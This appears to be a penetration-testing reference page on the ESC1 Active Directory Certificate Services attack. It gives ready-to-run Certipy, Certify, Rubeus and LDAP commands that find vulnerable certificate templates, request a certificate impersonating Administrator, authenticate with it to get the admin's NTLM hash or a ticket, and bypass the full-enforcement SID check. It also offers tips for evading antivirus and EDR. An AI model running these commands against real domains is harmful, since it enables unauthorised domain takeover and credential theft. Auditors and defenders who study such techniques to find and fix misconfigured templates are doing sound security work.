ESC1

For this technique to work we need a certificate template with the following requirements:

  • ENROLLEE_SUPPLIES_SUBJECT attribute enabled: this allows the user that initialized the CSR (certificate request) to specify any SAN (subjectAltName) allowing us to request a certificate as any user in the domain

  • at least one of the following EUK OIDs: Smart Card Logon / PKINIT Authentication / Client Authentication

  • a user that with enrollment rights

  • no authorized signatures required

This attack vector can be found with Certipy or Certify

certipy find -u otter -p 'SomethingSecure123!' -dc-ip 10.10.10.10 -vulnerable -stdout
.\Certify.exe find /vulnerable

Another useful way to enumerate for it is using Powershell queries, this can prove useful if we don't manage to run Certify because of AVs or EDRs running on the host.

Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=domain,DC=com'

To abuse it we need to request a certificate using the user with enrollment rights over the template and add a SAN with the upn or altname flags

certipy req -u otter -p 'SomethingSecure123!' -dc-ip 10.10.10.10 -ca otter-CA -template ESC1 -upn Administrator
.\Certify.exe request /ca:dc.domain.com\otter-CA /template:ESC1 /altname:administrator@domain.com

The command will get us a administrator.pfx certificate that we can use to get the admin's NTLM hash. If we're using Certify we will need to convert the given certificate to a usable format by using the openssl command displayed in the output.

certipy auth -pfx administrator.pfx -username administrator -domain domain.com -dc-ip 10.10.10.10
.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /nowrap

When working in an environment in which the CBA (Certificate-based Authentication) patch is set to Full Enforcement, whenever a user requests a certificate for an alternate user, the SID of the requesting user is checked against the SID present in the one present in the szOID_NTDS_CA_SECURITY_EXT extension: if there is no match this technique cannot be performed. So in fully patched environment, the normal

.\Rubeus.exe asktgt /user:administrator /domain:domain.com /certificate:'C:\Temp\esc1.pfx' /password:'SomethingSecure123!' /dc:dc.domain.com /nowrap /ptt

would not work.

To work around this policy we can use Certipy's built-in sidextension argument (present in Certipy as well under extensionsid)

.\Certify.exe request /ca:dc.domain.com\otter-CA /template:<template_name> /altname:administrator /sidextension:<domain_sid>-500 /domain:domain.com

You can see more about how the extension works and its uses here.

Last updated